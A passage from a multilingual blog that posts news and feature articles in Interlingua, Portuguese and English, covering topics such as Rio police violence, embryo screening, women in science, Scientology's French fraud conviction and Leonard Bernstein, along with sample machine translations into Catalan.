população, é o horror de sempre.\"\nRubem César Fernandes, diretor-executivo da ONG Viva Rio, afirma que, desde o final da década de 80, o Rio vive picos de violência em um padrão que se repete, mas que, apesar disso, o número de homicídios vem caindo.\nFernandes diz não concordar com a afirmação de que a polícia agiu de modo \"vingativo\". \"Acho que se trata de uma questão mais complicada, mais grave, que é a questão política e social\", disse. \"Quando a polícia reagiu como reagiu, eles simplesmente agiram contra a facção que derrubou o helicóptero e estava respondendo somente a uma ação direita dos bandidos.\"\n---\nThe non-governmental human rights organization Global Justice has accused the police of Rio de Janeiro of \"criminalizing poverty,\" after the latest wave of violence in that city.\n\"This isn't a new situation,\" said Camilla Ribeiro, the coordinator of the organization. \"It is a consequence of a policy that has been implemented in Rio for a long time, which criminalizes poverty and whose logic is extermination in order to achieve efficiency.\"\nActs of violence in Rio have gone up in the last seventeen days, after a Military Police helicopter was shot down by drug traffickers in the northern zone of the city. After the destruction of the helicopter, more than 40 people have been killed, including three policemen who were in the helicopter.\nIn previous statements, the governor of Rio, Sergio Cabral, reiterated that the main goal of police actions is to bring peace to the communities and recover territories occupied by criminals, who \"act like cowards \" and who \"use residents as human shields.\"\nGlobal Justice is one of more than 20 NGOs that signed a manifesto condemning the police operations in Rio after the helicopter crash.\n\"The helicopter question shows that the authorities' policy is oriented toward revenge,\" said Ribeiro. \"It is revenge without a program to solve the problem--or, in other words, a strategy that tacitly recognizes that public places are enemy territories. When you are poor, you're already seen as a criminal, and there is no uncoupling of these two conditions.\"\nAccording to Camilla Ribeiro, residents of poor communities are often treated as drug traffickers. \"And that somehow legitimizes killing these people. Brazil has no legal death penalty but ends up having one in practice. For the population, it's the same old the horror.\"\nRubem César Fernandes, executive director of the NGO Viva Rio, says that since the late 80's, the Rio goes through peaks of violence in a pattern that repeats itself, but despite that, the number of homicides has fallen.\nFernandes says he does not agree with the statement that the police acted in a \"vindictive\" way. \"I think it is a more complicated and more serious issue, which is a political and social question,\" he said. \"When the police responded the way they did they simply reacted agains the the faction that brought down the helicopter and were responding only to a direct action by the bandits.\"\nPosted by hkyson at 6:19 PM\n(Languages of this post: Interlingua, Portuguese, English)\nUn nove technica pro examinar embryones presentate per scientistas britannic pote duplar le possibilities de un fertilisation artificial ben succedite.\nRecercatores del Universitate de Oxford qui participava in un congresso annual de fertilitate in le Statos Unite presentava un serie de casos ben succedite pro examinar embryones pro deteger problemas genetic.\nUsque iste momento plus que 20 babies jam ha nascite post le uso de iste technica, e le recercatores britannic nunc spera facer le methodo disponibile a plus grande numeros de personas. Actualmente le technica es offerite in solmente alicun clinicas private de Grande Britannia e costa 2.000 libras (US$3.285).\nLe medicos affirmava que le technica, appellate hybridisation genomic comparative (o CGA in le acronymo anglese), potera esser plus utile pro mulieres plus vetule, cuje embryones ha un risco plus grande pro conditiones como le syndrome de Down.\nLe technica verifica le chromosomas in le embryon in disveloppamento, permittente que solmente embryones con melior probabilitates de successo essera utilisate pro le fertilisation in vitro.\n---\nNova técnica dobra chances de fertilização artifical bem sucedida.\nUma nova técnica de exame de embriões apresentada por cientistas britânicos pode dobrar as chances de uma fertilização artificial bem sucedida.\nPesquisadores da Universidade de Oxford que participaram de um congresso anual de fertilidade nos Estados Unidos apresentaram uma série de casos bem sucedidos de exames em embriões para detectar problemas genéticos.\nAté o momento mais de 20 bebês já nasceram com a ajuda desta técnica, e os pesquisadores britânicos agora esperam disponibilizar o método para mais pessoas. Atualmente, a técnica é oferecida apenas em algumas clínicas particulares da Grã-Bretanha e custa 2.000 libras (US$3.285).\nOs médicos afirmaram que a técnica, chamada de hibridização genômica comparativa (ou CGH na sigla em inglês) poderá ser mais útil para mulheres mais velhas, cujos embriões têm risco maior de apresentar distúrbios genéticos que levam a condições como síndrome de Down.\nA técnica verifica os cromossomos no embrião em desenvolvimento, permitindo que apenas embriões com melhores chances de sucesso sejam utilizados na fertilização in vitro.\n---\nNew technique doubles the chances of successful artificial fertilization.\nA new embryo-examination technique developed by British scientists can double the chances of successful artificial fertilization.\nResearchers at Oxford University who participated in an annual conference of fertility in the United States presented a series of successful tests on embryos to detect genetic problems.\nTo date more than 20 babies were born with the help of this technique, and British researchers now hope to make the method available to more people. Currently, the technique is offered only in some private clinics in Britain and costs 2,000 pounds ($3,285).\nDoctors said the technique, called comparative genomic hybridization (CGH), may be more useful for older women whose embryos have increased risk of developing genetic disorders that lead to conditions such as Down's syndrome.\nThe technique checks the chromosomes in the developing embryo, allowing only embryos with the best chances of success to be used in in-vitro fertilization.\nPosted by hkyson at 2:05 AM\n(Languages of this post: Interlingua, English)\nDesde le antiquitate, le feminas del mundo ha facite discoperimentos scientific. Plus recentemente scientistas feminin ha disveloppate drogas pro tractar maladias como cancer, diabetes, e malaria. Scientistas e technologos feminin ha facite discoperimentos importante sur le corpore human, e illas ha meliorate le efficacitate de lor paises in le technicas del guerra.\nDece e duo feminas ha ganiate le Premio Nobel in le scientias. Alicun scientistas feminin nunquam se maritava. Alicunes travalia con lor maritos. Alteres elevava grande familias. Ma pro feminas, il ha essite difficile esser scientistas succedite.\nIn le prime parte del seculo dece e nove in Anglaterra, Mary Anning deveniva un del prime feminas recognoscite pro su discoperimentos sur le historia ancian del Terra. Mary e su patre colligeva fossiles in lor village apud le costas meridional de Anglaterra; e quando illa habeva solmente dece e duo annos, illa deveniva le prime persona qui trovava skeletos quasi complete de plure animales fossilisate. Illa nunquam deveniva famose a causa de su discoperimentos proque illa sovente vendeva su fossiles pro ganiar moneta pro appoiar su familia economicamente.\nIn 1891, un juvene femina polonese, Marie Sklodowska, voleva studiar le physica. Illa viagiava a Paris, Francia, pro su studios proque illa non poteva matricular se in le universitates de Polonia. Illa comenciava a travaliar in le laboratorio de un homine con le nomine de Pierre Curie, con le qual illa eventualmente se maritava.\nMarie e Pierre faceva multe discoperimentos conjunctemente e recipeva le Premio Nobel pro le physica in 1903 con un altere scientista. Marie Curie deveniva le prime persona qui recipeva un secunde Premio Nobel in 1911 pro su travalio in le chemia. Illa esseva un del pauc numero de feminas de su epocha qui deveniva famose como scientista.\nIn 1906 un juvene puera, Marie Goeppert, nasceva in Germania. Illa esseva inspirate a studiar le scientia per su patre. Plus tarde illa se maritava con un scientista american, e Joseph Mayer e Marie Goeppert vadeva al Statos Unite in 1930. Le senior Mayer deveniva un professor al Universitate Johns Hopkins in Baltimore, Maryland.\nMaria travaliava sin salario como voluntario. Plus tarde illa deveniva un professor de physica al Universitate de Chicago in Illinois. In 1963, illa ganiava le Premio Nobel in physica con duo altere scientistas.\nDurante le Secunde Guerra Mundial, multe feminas american travaliava in fabricas. Lor inventiones meliorava aviones militar, reservoirs de combustible, e cameras pro usos militar. Ma post le guerra, on expectava que illas remaneva in lor focares pro elevar lor filios durante que lor maritos travaliava in fabricas e laboratorios. Sovente on diceva al feminas que continuava a travaliar como scientistas que il non non esseva natural que mulieres travaliava foras de lor casas.\nMesmo hodie, multe expertos dice que on non tracta scientistas feminin de un maniera juste. Illas non recipe tante patentes pro lor inventiones como le homines. Usque le medio del seculo dece e nove, ulle invention de un mulier esseva le proprietate de su marito secundo le lege. Ma mesmo in 2002, minus que 11% del patentes esseva premiate a mulieres in le Statos Unite.\nPlure organisationes in le Statos Unite adjuva feminas in le scientias. Le compania L'Oreal e le agentia del Nationes Unite UNESCO honora scientistas feminin in omne le partes del mundo. Desde 1998, 52 scientistas feminin de 26 paises ha essite recognoscite pro lor travalio.\nLe professor Tebello Nyokong del regno de Lesotho, le recipiente de un del premios de L'Oreal, ha travaliate pro disveloppar nove drogas pro luctar contra cancer. Quando illa esseva juvene, le professor Nyokong dice que illa vadava al schola alicun dies e elevava oves le altere dies. Illa faceva travalios generalmente assignate a pueros.\nIlla diceva que facer iste travlio la adjuvava a explorar durante que illa deveniva plus vetule. Su plus grande problema, illa diceva, esseva sentir se multo solitari como un femina in le scientias. Le professor Nyokong dice que su proprie solitude la ha incoragiate a appoiar feminas juvene in le scientias de maniera que illas non deberea tolerar simile solitude.\nMulte feminas con carieras in le scientias ha debite trovar manieras de esser bon matres e scientistas simultaneemente. Christiane Nusslein-Volhard de Germania divideva un Premio Nobel pro physiologia in 1995. Illa gere le Instituto Max Planck pro le biologia disveloppmental in Tubigen, Germania. Le doctor Nusslein-Volhard dice que le feminas in Germania sovente cessa lor travalio como scientistas quando illas comencia a elevar infantes. Assi, illa inaugurava un organisation que da moneta a juvene scientistas feminin qui ha besonio de adjuta economic pro lor labores domestic.\nLe doctor Nusslein-Volhard ha dicite que illa spera que le vita devenira plus facile pro scientistas feminin in Germania durante que Angela Merkel es le prime ministro del pais. Merkel ha un doctorato in le physica.\nMulte programmas in le Statos Unite appoia pueras qui vole devenir scientistas. Girls Go Tech [girlsgotech.org] es un sito in le Rete inaugurate per le Girl Scouts of America. Le pueras qui comprende le anglese anque pote ascoltar programmas sur le feminas in le scientia a un sito con le nomine [womeninscience.org].\n---\nFrom ancient times the women of the world have been making scientific discoveries. More recently, women scientists have developed drugs to treat diseases like cancer, diabetes and malaria. Women scientists and technologists have made important discoveries about the human body and improved their countries' effectiveness in the techniques of warfare.\nTwelve women have won the Nobel Prize in science. Some female scientists never married. Some worked with their husbands. Others raised large families. But it has been difficult for women to be successful scientists.\nIn the first part of the nineteenth century in England, Mary Anning became one of the first women recognized for her discoveries about the ancient history of the Earth. Mary and her father collected fossils in their village on the southern coast of England; and when she was only twelve years old, she became the first person to find almost complete skeletons of several fossilized animals. She never became famous for her discoveries because she often sold her fossils to get money to support her family.\nIn 1891, a young Polish woman, Marie Sklodowska, wanted to study physics. She traveled to Paris, France, for her studies because she could not get a college education in Poland. She began working in the laboratory of a man named Pierre Curie, who she eventually married.\nMarie and Pierre made many discoveries together and received the Nobel Prize in physics in 1903 along with another scientist. Marie Curie became the first person to be awarded a second Nobel Prize in 1911 for her work in chemistry. She was one of the few women of her era who became famous as a scientist.\nIn 1906, a little girl, Maria Goeppert, was born in Germany. She was inspired to study science by her father. Later on, she married an American scientist, and Joseph Mayer and Maria Goeppert went to the United States in 1930. Mr. Mayer became a professor at Johns Hopkins University in Baltimore, Maryland.\nMaria worked without pay as a volunteer. Later she became a professor of physics at the University of Chicago in Illinois. In 1963, she won the Nobel Prize in physics along with two other scientists.\nDuring World War Two, many American women worked in factories. Their inventions improved military planes, fuel tanks, and cameras for military uses. But after the war, they were expected to stay at home and raise their children while their husbands went back to work in factories and laboratories. Women who continued to work as scientists were often told it was not natural for women to work outside the home.\nEven today, many experts say women scientists often are not treated fairly. They don't receive as many patents for their inventions as men do. Until the middle of the nineteenth century, anything a woman invented belonged to her husband under the law. But even in 2002, fewer than eleven percent of patents were awarded to women in the United States.\nSeveral organizations in the United States are helping women in science. The L'Oreal company and the United Nations agency UNESCO honor women scientists around the world. Since 1998, fifty-two women scientists from twenty-six countries have been recognized for their work.\nProfessor Tebello Nyokong of the kingdom of Lesotho, the recipient of one of L'Oreal's awards, has worked to develop new drugs to fight against cancer. When she was young, Professor Nyokong says she went to school on some days and took care of sheep on other days. She generally did the work traditionally assigned to boys.\nShe said that doing this worked helped her to learn to explore as she grew older. Her biggest problem, she said, was feeling very alone as a woman in science. Professor Nyokong says that her own loneliness has encouraged her to support young women in science so they do not have put up with similar loneliness.\nMany women with careers in science have had to find ways to be good mothers and scientists at the same time. Christiane Nusslein-Volhard of Germany shared the Nobel Price for physiology in nineteen ninety-five. She directs the Max Planck Institute of Developmental Biology in Tubingen, Germany. Doctor Nusslein-Volhard says women in Germany often stop working as scientists when they have children. So she started an organization that gives money to young women scientists who need economic help for their work at home.\nDoctor Nusslein-Volhard has said she hopes life will become easier for women scientists in Germany while Angela Merkel is the chancellor. Merkel has a doctorate degree in physics.\nMany programs in the United States support girls who want to become scientists. Girls Go Tech [girlsgotech.org] is a Web site started by the Girl Scouts of America. Girls who understand English can also listen to programs about women in science at a Web site called [womeninscience.org].\nPosted by hkyson at 1:33 AM\nWednesday, October 28, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nLe Ecclesia de Scientologia de Francia esseva condemnate pro fraude e mandate per le Justitia a pagar un mulcta de 600 mille euros ($887.300). Nonobstante, le Ecclesia non esseva obligate a clauder su portas a causa de un cambio polemic in le lege.\nDurante le judicio, le ecclesia esseva accusate de fraude organisate pro haber se profitate del vulnerabilitate de quatro ex-adeptos pro extorquer milles de euros de eles.\nLe victimas affirmava que illes habeva essite pressionate a pagar grande quantitates de moneta pro examinationes de personalitate \"gratuite\", libros, vitaminas, e apparatos diverse, que dava un apparentia scientific al cursos del ecclesia.\nMovimentos anti-sectos dice que illes es \"disappunctate\" con le decision, affirmante que Francia perdeva un \"opportunitate historic\" de clauder le Ecclesia de Scientologia in Francia.\nUn modification legislative controversial realisate un pauco ante iste processo legal frustrava le possibilitate de applicar un pena plus sever solicitate per le Ministerio Public francese, que esseva clauder le ecclesia in Francia.\nUn emendamento a un lege sur le simplification de procedimentos procedural, adoptate le 12 de maio passate e que includeva un varietate de themas differente, preveni le dissolution de entitates juridic condemnate per fraude.\nIllo esseva le principal accusation contra le Scientologia. Le cambio legislative esseva approbate completemente sin le perception del publico e solmente deveniva public in septembre, quando su existentia esseva revelate per le Mission Interministerial de Lucta contra Deviationes Sectarian, un agentia governamental que observa le activitates de sectas differente.\nLe revelation que le emendamento impedirea le clausura del Scientologia in Francia causava grande polemica in le pais. Le Ministerio del Interior respondeva al alteration del lege con le declaration que le error debe esser corrigite.\nLe opponentes al ecclesia accusava alicun de su membros de infiltrar se in le Parlamento pro cambiar iste lege a lor favor.\nLe Scientologia es considerate per le autoritates francese como un secta.\n---\nCientologia é condenada por fraude na França.\nA Igreja da Cientologia da França foi condenada por fraude e ordenada pela Justiça a pagar uma multa de 600 mil euros (US$887.300). No entanto, a igreja não foi obrigada a fechar as suas portas, devido a uma polêmica mudança na lei.\nNo julgamento, a igreja era acusadas de fraude organizada por terem se aproveitado da vulnerabilidade de quatro ex-adeptos para extorquir milhares de eles.\nAs vítimas afirmavam terem sido pressionadas a pagar altas somas de dinheiro por testes de personalidade \"gratuitos\", livros, vitaminas e equipamentos diversos, que dariam uma aparência científica aos cursos da igreja.\nMovimentos anti-seitas se dizem \"decepcionados\" com a decisão, afirmando que a França perdeu uma \"oportunidade histórica\" de pôr fim à Igreja da Cientologia na França.\nUma polêmica modificação legislativa realizada pouco antes do início do julgamento impediu a possibilidade de aplicação de uma pena mais severa solicitada pelo Ministério Público francês, que era o fechamento da Igreja na França.\nUma emenda a uma lei sobre simplificação de procedimentos processuais, votada em 12 de maio passado e que englobava uma variedade de assuntos diferentes, impede a dissolução de entidades jurídicas condenadas por fraude.\nEssa era a principal acusação contra a Cientologia. A mudança legislativa passou totalmente despercebida no país e somente se tornou pública em setembro, quando sua existência foi revelada pela Missão Interministerial de Luta contra Desvios Sectários, agência governamental que monitora as atvidades de seitas diferentes.\nA revelação de que a emenda legislativa impediria o fechamento da Cientologia na França causou grande polêmica no país. O ministério do Interior respondeu à alteração da lei com a declaração de que o erro devia ser corrigido.\nOs opositores à igreja acusou alguns de seus membros de se infiltrar no Parlamento, a fim de mudar esta lei a seu favor.\nA Cientologia é considerada pelas autoridades francesas como uma seita.\n---\nScientology is convicted of fraud in France.\nThe Church of Scientology in France was convicted of fraud and ordered by the Court to pay a fine of 600 euros ($887,3000). However, the church was not forced to close its doors due to a controversial change in the law.\nAt the trial, the church was accused of organized fraud for having taken advantage of the vulnerability of four former supporters to extort thousands of euros from them.\nThe victims claimed they were pressured to pay large sums of money for personality tests, \"free\" books, vitamins and other equipment that gave a scientific appearance to the courses of the church.\nAnti-cult movement claim to be \"disappointed\" with the decision, saying that France has lost a \"historic opportunity\" to put an end to the Church of Scientology in France.\nA controversial change in the legislation shortly before the beginning of the trial foreclosed the possibility of applying a more severe sentence requested by the French Public Ministry, which was shutting down the Church in France.\nAn amendment to a law on procedural simplification, adopted last May 12 that involves a variety of different subjects, prevents the dissolution of legal entities convicted of fraud.\nThis was the main charge against Scientology. The legislative change passed completely unnoticed in the country and only became public in September, when its existence was revealed by the Interministerial Mission Against Sectarian Deviations, the government agency that monitors the activities of different cults.\nThe revelation that the legislative amendment would prevent shutting down Scientology in France caused a lot of controversy in the country. The Interior Ministry responded to the change of the law with the statement that the error should be corrected.\nOpponents to the church accused some of its members of infiltrating Parliament in order to change this law in its favor.\nScientology is considered by the French authorities to be a cult.\nPosted by hkyson at 4:04 AM\nTuesday, October 27, 2009\n(Languages of this post: Interlingua, Portuguese, English)\nChina va a inviar equipas de specialistas al Statos Unite, Europa, e Asia pro trovar tresores que esseva robate del pais. Le equipa vole trovar articulos de valor que esseva removite del Palatio de Estate, in Beijing, ante 150 annos. Specialistas crede que 1,5 milliones de articulos pote haber essite robate del loco, que esseva destruite per truppas Britannic e francese.\nLe Palatio de Estate esseva un complexo de palatios e jardines construite in le seculo dece e octo pro esser le residentia del imperatores del dynastia Qing. Le complexo esseva destruite e saccheate per truppas britannic e francese in 1860. Hodie le loco es solmente un parco e un museo.\nLe expedition le plus recente annunciate per le director del museo, Chen Mingjie, visitara museos, bibliothecas, e collectiones private in le Statos Unite. Illes anque ira a Europa--con emphase special sur Grande Britannia e Francia--e anque a paises Asiatic, specialmente Japon.\n\"Nos non sape exactemente le numero de tresores que esseva robate proque le catalogo esseva comburite durante le catastrophe\", diceva Chen al jornal \"China Daily. \"Ma basate in calculos estimate, il ha presso 1,5 milliones de articulos in 200 museos in 47 paises.\"\n---\nMissão chinesa procura tesouros roubados nos Estados Unidos e Europa.\nA China vai enviar equipes de especialistas para os Estados Unidos, Europa e Ásia para encontrar tesouros que foram roubados do país. A equipe quer encontrar itens valiosos que foram levados do Palácio de Verão, em Pequim, há 150 anos. Especialistas acreditam que 1,5 milhões de itens podem ter sido roubados do lugar, que foi destruído por tropas britânicas e francesas.\nO Palácio de Verão foi um complexo de palácios e jardins construído no século 18 para ser a residência dos imperadores da dinastia Qing. O complexo foi destruído e pilhado por tropas britânicas e francesas em 1860. Hoje, o local é apenas um parque e um museu.\nA expedição mais recente anunciada pelo diretor do museu, Chen Mingjie, visitará museus, bibliotecas e coleções privadas nos Estados Unidos. Eles também irão à Europa--com especial ênfase para a Grã-Bretanha e França--e também a países asiáticos, em especial ao Japão.\n\"Nós não sabemos exatamente o número de tesouros que foram roubados já que o catálogo dos tesouros foi queimado durante a catástrofe\", afirmou Chen ao jornal China Daily. \"Mas baseado em cálculos estimados, cerca de 1,5 milhões de itens estão em 200 museus em 47 países.\"\n---\nChinese mission in search of stolen treasures in the United States and Europe.\nChina is going to send teams of experts to the United States, Europe and Asia to find treasures that were stolen from the country. The team wants to find items that were taken from the Summer Palace in Beijing 150 years ago. Experts believe 1.5 million items may have been stolen from that complex, which was destroyed by British and French troops.\nThe Summer Palace was a complex of palaces and gardens built in the 18th century to house the emperors of the Qing Dynasty. The complex was destroyed and looted by British and French troops in 1860. Today, the site is only a park and a museum.\nThe latest expedition announced by the museum's director, Chen Mingjie, will visit museums, libraries and private collections in the United States. They also will go to Europe--with particular emphasis on Britain and France--and also to Asian countries, especially Japan.\n\"We do not know exactly the number of treasures that were stolen since the catalog of the treasures was burned during the disaster,\" Chen told the \"China Daily\". \"But based on current projections, approximately 1.5 million items are in 200 museums in forty-seven countries.\"\nPosted by hkyson at 9:24 AM\nMonday, October 26, 2009\n(Languages of this post: Interlingua, English)\nLeonard Bernstein naceva in 1918 e moriva in 1990. Durante le 72 annos de su vita, Bernstein esseva un del plus productive musicos del Statos Unite. Ille esseva un compositor, conductor de orchestras symphonic, pianista, e professor de musica.\nIlle componeva serie musica classic tanto como musica popular, a vices combinante los in le mesme obra. Ille esseva le director musical del New York Philharmonic Orchestra pro plus que 10 annos. Como Mozart, ille sovente sonava le piano durante que ille dirigeva le orchestra. Ille appareva in multe programmas de television e scribeva libros pro explicar le natura del musica, specialmente a juvenes.\nBernstein naceva in Lawrence, Massachusetts. Su patre e matre esseva judeos de Russia. Illes se congosceva e se maritava in le Statos Unite. Multo tosto in su vita ille demonstrava talentos musical exceptional. Su patre tamen non voleva que ille deveniva un musico professional proque ille non credeva que Leonard poterea ganiar multo moneta in ille profession.\nBernstein insisteva tamen que ille non esseva interessate in un altere typo de carriera e deveniva un studente de musica al Universitate Harvard e al Instituto de Musica Curtis in Philadelphia, Pennsylvania. Durante le estate, ille studiava a un famose central de musica in Massachusetts appellate Tanglewood, ubi, inter alia, ille studiava le direction de orchestras symphonic con Serge Koussevitsky e Frits Reiner. Plus tarde, Bernstein retornava a Tanglewood pro inseniar le musica quasi omne estate durante su vita.\nIn 1943 Bernstein deveniva le director assistente del Orchestra Philharmonic de New York. In novembre de ille anno, le director del orchestra, Bruno Walter, deveniva malade e non poteva diriger le orchestra in un concerto importante.\nCon multo pauc tempore pro preparar se, Bernstein brillantemente dirigeva le orchestra durante ille concerto. Le proxime die, le \"New York Times\" publicava un articulo laudante Bernstein in su prime pagina, e desde le die su publication, ille recipeva multe invitationes pro conducer le orchestras le plus famose del Statos Unite.\nIn 1958, Bernstein deveniva le prime director musical american del New York Philharmonic. Criticos musical diceva que le New York Philharmonic se meliorava multo sub su direction.\nComparate a un potentissime tempestate oceanic, Bernstein viagiava multo pro diriger le orchestras le plus famose del mundo. Ille anque componeva e inseniava le musica. In su focar, ille e su marita, le actrice chilean Felicia Montealegre, elevava tres filios. Lor focar attraheva le plus famose artistas, musicos, e autores del Statos Unite.\nLe criticos dice que Bernstein scribeva su melior musica in su annos juvene. Ille scribeva \"Symphony Number Two, the Age of Anxiety (Symphonia Numero duo, le Etate del Anxietate)\", in 1949 quando ille habeva circa 30 annos. Iste symphonia es admirate specialmente per le criticos, qui dice que illo captura le essentia del musica amercan de su epocha.\nBernstein anque componeva diverse symphonias que demonstra su interesse profunde in su religion judee. Ille anque componeva altere obras trans le annos pro gruppos de cantantes e un orchestra, assi como operas e ballets.\nMultes crede que su melior musica se trova in pecias musical componite per le theatros de Broadway (obras como \"On the Town\", \"Wonderful Town\", e \"Candide\"). Alicun criticas del music insiste que \"Candide\" es le melior obra musical de Bernstein.\n\"West Side Story\", que narra un version moderne de \"Romeo e Julietta\", le pecia theatral de William Shakespeare, es forsan le plus famose obra musical de Bernstein. Illo appareva in Broadway per le prime vice in 1957, e illo totevia es multo famose in omne le partes del mundo.\nPro tres annos, Bernstein travaliava in su obra \"Mass\" (Missa), que appareva ante le publico pro le prime vice durante le apertura del Kennedy Center. Le historia narra le vita de un homine juvene qui perde su credentia in Deo. In \"Mass\" Bernstein combinava le characteristas del musica classic, del blues american, del Rock and Roll, e del musica religiose.\nDurante omne su vita, Leonard Bernstein se preoccupava con problemas social tanto como su musica. Ille appoiava le movimento pro derectos civil de ille epocha e opponeva le guerra american in Vietnam. Ille anque dirigeva concertos pro colliger moneta pro lucta contra le SIDA.\nIlle continuava a componer e direger orchestras usque le fin de su vita, le ultime vice a Tanglewood in 1990. Duo menses post iste concerto, ille moriva in su focar in New York. Como George Gershwin, ille dava al mundo multe musica quintessentialmente american que sempre essera famose.\n---\nLeonard Bernstein was born in 1918 and died in 1990. During the seventy-two years of his life, Bernstein was one of the most productive musicians of the United States. He was a composer, orchestra conductor, pianist, and music teacher.\nHe composed serious classical music, as well as popular music, at times combining both in the same work. He was the musical director of the New York Philharmonic Orchestra for more than ten years. Like Mozart, he often played the piano as he conducted the orchestra. He appeared in many television programs and wrote books to explain the nature of music, especially to young people.\nBernstein was born in Lawrence, Massachusetts. His father and mother were Jews from Russia. They met and got married in the United States. Very early in his life he showed exceptional musical talents. His father, however, did not want him to become a professional musician because he did not believe that Leonard could earn very much money in that profession.\nBernstein insisted, however, that he was not interested in another kind of career and became a music student at Harvard University and at the Curtis Institute of Music in Philadelphia, Pennsylvania. During the summer, he studied at a famous music center in Massachusetts known as Tanglewood, where, among other things, he studied symphony-orchestra conducting with Serge Koussevitsky and Fritz Reiner. Later on, Bernstein returned to Tanglewood to teach music almost every summer during his life.\nIn 1943 Bernstein became the assistant director of the New York Philharmonic Orchestra. In November of that year, the conductor of the orchestra, Bruno Walter, fell ill and was not able to conduct the orchestra in an important concert.\nWith very little time to prepare himself, Bernstein brilliantly conducted the orchestra during that concert. The following day, the \"New York Times\" published an article praising Bernstein on its front page, and since the day of its publication, he received many invitations to conduct the most famous orchestras of the United States.\nIn 1958, Bernstein became the first American musical director of the New York Philharmonic. Music critics said that the New York Philharmonic improved dramatically under his direction.\nCompared to a very powerful ocean storm, Bernstein traveled a great deal to conduct the most famous orchestras in the world. He also composed and taught music. In his home, he and his wife, the Chilean actrice Felicia Montealegre, raised three children. Their home attracted the most famous artists, musicians, and authors of the United States.\nCritics say that Bernstein wrote his best music in his youthful years. He wrote \"Symphony Number Two, the Age of Anxiety,\" in 1949 when he was around thirty years old. This symphony is especially admired by critics, who say that it captures the essence of the American music of its time.\nBernstein also composed various symphonies that show his profound interest in his Jewish religion. He also composed other works throughout the years for orchestras and singing groups, as well as operas and ballets.\nMany believe that his best music can be found in Broadway musicals (works like \"On the Town,\" \"Wonderful Town,\" and \"Candide\"). Some music critics insist that \"Candide\" embodies Bernstein's best musical work.\n\"West Side Story,\" which narrates a modern version of \"Romeo and Juliet,\" the play by William Shakespeare, is perhaps Bernstein's most famous musical work. Its debut on Broaday was in 1957, and it still is very famous everywhere in the world.\nFor three years Bernstein worked on \"Mass\", which had its debut at the opening of the Kennedy Center. \"Mass\" narrates the life of a young man who lost his belief in God. In \"Mass\" Bernstein combined the characteristics of classical music, the blues, Rock and Roll, and religious music.\nFor all his life, Leonard Bernstein was concerned with social problems along with his music. He supported the civil rights movement of that era and opposed the Vietnam War. He also conducted concerts to raise money for the fight against AIDS.\nHe continued to compose and conduct orchestras until the end of his life in 1990, the last time at Tanglewood. Two months after this concert, he died in his home in New York. Like George Gershwin, he gave to the world a lot of quintessentially American music that will always be famous.\nPosted by hkyson at 12:48 AM\nSunday, October 25, 2009\nLe traductor de Google non produce traductiones del portugese a catalan que es tan exacte como su traductiones desde le espaniol ille lingua. Nonobstante, Google pote esser multo utile pro studentes de catalan qui cognosce le portugese.\nEcce le traduction de Google del portugese al catalan de un articulo sur le relation inter dinosauros e aves que io publicava in \"Interlingua multilingue\" in septembre:\n…………….\nFósseis extremamente bem preservados de dinossauros achados no nordeste da China mostram os exemplos mais antigos de penas já encontrados e representam a prova final de que os dinossauros eram ancestrais dos pássaros, de acordo com uma equipe de cientistas chineses. Estes fósseis têm mais de 150 milhões de anos.\nMolt ben conservats fòssils de dinosaures trobats al nord-est de la Xina ha els primers exemples de plomes que s'ha trobat i constitueixen la prova definitiva de que els dinosaures van ser avantpassats dels ocells, segons un equip de científics xinesos. Aquests fòssils són més de 150 milions d'anys.\n---\nEstas espécies são indubitavelmente mais antigas do que o Archaeopteryx, encontrado na Alemanha, que vinha sendo tido como o fóssil de pássaro mais antigo já encontrado.\nAquestes espècies són, sens dubte, més grans Archeopteryx, que es troba a Alemanya, que havia estat considerat com el fòssil d'au més antiga mai trobada.\n---\nA descoberta foi descrita por Xu Xing, da Academia de Ciências Chinesa, em Pequim, na revista \"Nature\".\nEl descobriment va ser descrit per Xing Xu de l'Acadèmia de Ciències de la Xina a Beijing, a la revista Nature.\n---\nA teoria de que os pássaros evoluíram dos dinossauros sempre foi posta em dúvida por causa da ausência de penas em espécies mais antigas do que o Archaeopteryx.\nLa teoria que les aus van evolucionar dels dinosaures sempre ha estat en dubte a causa de l'absència de plomes en les espècies més grans que Archeopteryx.\n---\nMas os novos fósseis, encontrados em duas localidades diferentes, são, em sua maioria, pelo menos 10 milhões de anos mais velhos do que o do pássaro encontrado na Alemanha, no fim do século 19.\nPerò els nous fòssils, trobats en dos llocs diferents, són en la seva majoria com a mínim 10 milions d'anys més que el d'ocells trobats a Alemanya en el segle 19.\n---\nUm dos dinossauros, batizado de Anchiornis huxleyi, está extremamente bem conservado. O dinossauro tinha extensa plumagem cobrindo seus braços e cauda e os pés.\nUn dels dinosaures, anomenat Anchiornis huxleyi, està molt ben conservat. El dinosaure amb plomes que cobreixen els seus braços llargs i la cua i els peus.\n---\n\"No início, nós acreditamos que este primeiro dinossauro foi um parente próximo dos pássaros. Mas então encontramos o segundo espécime, que estava bastante complete--e bem preservado\", disse Xu Xing. \"Com base neste segundo espécime, nos demos conta de que esta era uma espécie muito mais interessante, e definitivamente era uma das espécies mais importantes para entendermos a origem dos pássaros e de seu voo.\"\n\"Al principi, creiem que el primer dinosaure era un parent proper de les aus. Però llavors trobem que la segona mostra, que va ser bastant complet - i ben conservada\", va dir Xu Xing. \"Basat en aquesta segona mostra, ens vam adonar que es tractava d'una cosa molt més interessant, i definitivament va ser un dels més importants per comprendre l'origen de les aus i el seu vol. \"\n---\nO renomado paleontólogo britânico Michael Benton disse que o anúncio é de grande importância. \"Na árvore da vida\", disse Benton, \"é bastante óbvio que há registros de fósseis com penas anteriores ao Archaeopteryx. Agora essas novas descobertas fantásticas do professor Xu Xing provam isso de uma vez por todas.\"\nEl britànic anomenat paleontòleg Michael Benton va dir que l'anunci és de gran importància. \"L'arbre de la vida\", va dir Benton, \"és evident que hi ha registres fòssils de les penes anteriors a Archeopteryx. Ara, aquests nous descobriments fantàstics del professor Xu Xing demostrar d'una vegada per totes \".\nPosted by hkyson at 5:34 PM\nSi vos cognosce le espaniol e vole studiar le catalan, le textos in espaniol de \"Interlingua multilingue\" pote esser multo utile pro vos. Como le traductor de Google traduce le espaniol al catalan de un maniera excellente (ma non completemente perfecte), vos pote usar lo pro traducer le textos in espaniol de \"Interlingua multilingue\" pro producer traductiones in catalan, que facilitara multo vostre studio del similaritates e differentias inter iste duo linguas.\nEcce un exemplo del version in espaniol de un articulo sur Al Gore publicate in \"Interlingua multilingue\" multo recentemente e su traduction a catalan. Io non ha redigite le texto in catalan producite per le traductor de google (vos notara 